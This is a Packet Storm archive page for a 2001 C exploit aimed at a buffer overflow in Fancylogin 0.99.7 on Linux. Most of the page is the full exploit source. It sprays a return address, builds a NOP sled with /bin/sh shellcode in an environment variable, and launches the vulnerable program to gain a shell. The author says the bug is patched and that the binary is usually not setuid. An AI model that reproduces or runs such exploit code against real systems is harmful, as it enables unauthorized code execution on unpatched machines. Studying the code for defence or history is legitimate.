exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

fancylogin.c

fancylogin.c
Posted Apr 17, 2001
Authored by Ghost

Fancylogin 0.99.7 buffer overflow exploit. Fancylogin is usually not +s so this exploit isn't that dangerous. Tested on debian potato and kernel 2.2.18 and 2.2.19.

tags | exploit, overflow, kernel
systems | linux, debian
SHA-256 | 29d03dc71d859bbe4e1a2875ecdcaa1d77c2adb10f17069da1e18b83a08771c0

fancylogin.c

Change Mirror Download
/***********************************************
* Fancylogin 0.99.7 bufferoverflow exploit
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Exploited by gh0st
*
* There exists a very simple and stupid
* bug in fancylogin, argv[2] is strcpy'd in
* a to a small array without bounds check.
* EIP can easily be overwritte, this is
* standard exploit code...
* Fancylogin is usually not +s so this
* exploit isn't that dangerous ;)
*
* Thx to aleph one for his excellent article
* about buffer overflows
*
* Greetings fly to: huega, koerk, chef,
* anarchy, bullet
*
* This exploit was written during the
* easterhegg 2001 @ CCC Hamburg
*
* usage: fancylogin_ex [buffer_size] [offset]
*
* Tested on debian potato and kernel 2.2.18
* and 2.2.19 using a self-compiled
* fancylogin 0.99.7.
* And on rocklinux 1.3.11 with a prebuilt
* binary of fancylogin.
*
* The fancylogin team is aware of this bug
* and has released a patch.
*
***********************************************/

// Exploit worked for me using this offset
#define OFFSET 3500
// and this buffersize ...
#define BUFFER_SIZE 4100

#define EGG_SIZE 1200

// Standard linux shellcode by aleph one
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=OFFSET, bsize=BUFFER_SIZE;
int i, eggsize=EGG_SIZE;

printf("[ Fancylogin 0.99.7 exploit ]\n[ exploited by gh0st @ easterhegg 2001 ]\n[ usage: %s [size] [offset] ]\n",argv[0]);

if(argc>1) bsize=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);

buff=malloc(bsize);
egg=malloc(eggsize);

addr=get_sp()-offset;
printf("+ Using address: 0x%x\n", addr);

ptr=buff;
addr_ptr=(long *)ptr;
for (i=0;i<bsize;i+=4) *(addr_ptr++)=addr;

ptr=egg;
for (i=0;i<eggsize-strlen(shellcode)-1;i++) *(ptr++)=0x90;
for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];

buff[bsize-1]='\0';
egg[eggsize-1]='\0';

memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("fancylogin -r $RET bla");

return 0;
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close